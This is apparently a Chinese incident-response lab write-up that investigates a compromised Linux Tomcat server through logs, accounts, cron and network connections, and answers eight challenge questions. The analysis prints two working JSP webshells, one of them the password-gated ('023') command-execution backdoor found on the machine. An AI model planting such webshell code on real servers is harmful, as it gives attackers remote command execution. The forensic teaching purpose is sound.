应急响应 - Linux3 - 练习篇

admin 2025年3月24日23:06:51评论13 views字数 1983阅读6分36秒阅读模式
前景需要:看监控的时候发现webshell告警,领导让你上机检查你可以救救安服仔吗!!
应急响应 - Linux3 - 练习篇

相关账户密码:

root/123456

开机开搞

应急响应 - Linux3 - 练习篇
1.请提交攻击者的IP地址
2.请提交攻击者使用的操作系统
3.请提交攻击者首次攻击成功的时间,格式:DD/MM/YY:hh:mm:ss
4.请提交攻击者上传的恶意文件名(含路径)
5.请提交攻击者写入的恶意后门文件的连接密码
6.请提交攻击者创建的用户账户名称
7.请提交恶意进程的名称
8.请提交恶意进程对外连接的IP地址
基础篇传送门:应急响应 - Linux基础篇
解题思路
1.请提交攻击者的IP地址
用ssh登录一下系统,还是老规矩先查看一下历史记录(记得备份)
应急响应 - Linux3 - 练习篇
在历史命令里面看到几条关键信息
应急响应 - Linux3 - 练习篇
看到有数据库密码和网站的框架还给Juneha用户设置了密码查看了自启任务,找一下tomcat的日志文件
应急响应 - Linux3 - 练习篇
在/opt/tomcat里面看到一个logs就是日志位置,查看一下日志
应急响应 - Linux3 - 练习篇
看到8号和9号的日志文件挺大的就是这两天攻击的,找一下IP。cat看了两个文件发现都是192.168.31.132这个IP一直在访问Juneha.jpeg后面直接访问Juneha.jsp服务器还返回了200猜测应该是jsp马
应急响应 - Linux3 - 练习篇
jsp马特征
<%@page import="java.io.*,java.util.*"%><%String cmd = request.getParameter("cmd");Process p = Runtime.getRuntime().exec(cmd);// ... 执行系统命令并返回结果 ...%>
2.请提交攻击者使用的操作系统
在攻击者访问服务器的日志里面IP后面的指纹里面有操作系统Windows
应急响应 - Linux3 - 练习篇
3.请提交攻击者首次攻击成功的时间,格式:DD/MM/YY:hh:mm:ss
cat localhost_access_log.2023-05-08.txt | grep POST | grep up |more
过滤POST日志,找到第一个上传的日志时间
应急响应 - Linux3 - 练习篇
08/May/2023:05:02:16  : 2023/5/8:05:02:16
4.请提交攻击者上传的恶意文件名(含路径)
grep -rl "exec("cat webapps/ROOT/teacher/cmd.jsp
过滤一下jsp马的关键字exec(
应急响应 - Linux3 - 练习篇
找到木马位置webapps/ROOT/teacher/cmd.jsp
恶意代码分析
<%-- JSP脚本开始标签 --%><%    <%-- 后门密码验证:检查请求参数pwd是否为"023" --%>    if("023".equals(request.getParameter("pwd"))){        <%-- 高危操作:通过参数i接收用户输入,直接执行系统命令 --%>        <%-- 示例:i=whoami 会执行`whoami`命令并返回结果 --%>        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();        <%-- 定义变量用于读取命令执行结果 --%>        int a = -1;                 <%-- 读取字节数标识(-1表示结束)--%>        byte[] b = new byte[2048];   <%-- 缓冲区大小:2KB --%>        <%-- 输出HTML预格式标签,保留命令结果的格式 --%>        out.print("<pre>");        <%-- 循环读取命令执行结果并输出到页面 --%>        while((a=in.read(b))!=-1){            <%-- 将字节流转换为字符串并输出 --%>            out.println(new String(b));  <%-- 可能包含敏感信息(如文件内容、系统信息)--%>        }        <%-- 结束预格式标签 --%>        out.print("</pre>");    }%><%-- JSP脚本结束标签 --%>
5.请提交攻击者写入的恶意后门文件的连接密码
上面分析出来密码是023
6.请提交攻击者创建的用户账户名称
cat /etc/shadow
查看一下账户
应急响应 - Linux3 - 练习篇
看到在最后面,前面历史命令看到了给这个用户添加密码,这个应该就是攻击者创建的账户Juneha
7.请提交恶意进程的名称
crontab -l
前面历史命令里面攻击者修改了自启计划查看一下
应急响应 - Linux3 - 练习篇
这个应该就是恶意文件了t0mcat
8.请提交恶意进程对外连接的IP地址
netstat -anp | grep t0
查看一下IP和端口加上过滤恶意文件找到IP
应急响应 - Linux3 - 练习篇
IP:114.114.114.114
这个靶机到这里就结束了,有不足的地方欢迎各位师傅补充

原文始发于微信公众号(信安一把索):应急响应 - Linux3 - 练习篇

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月24日23:06:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   应急响应 - Linux3 - 练习篇https://cn-sec.com/archives/3879952.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息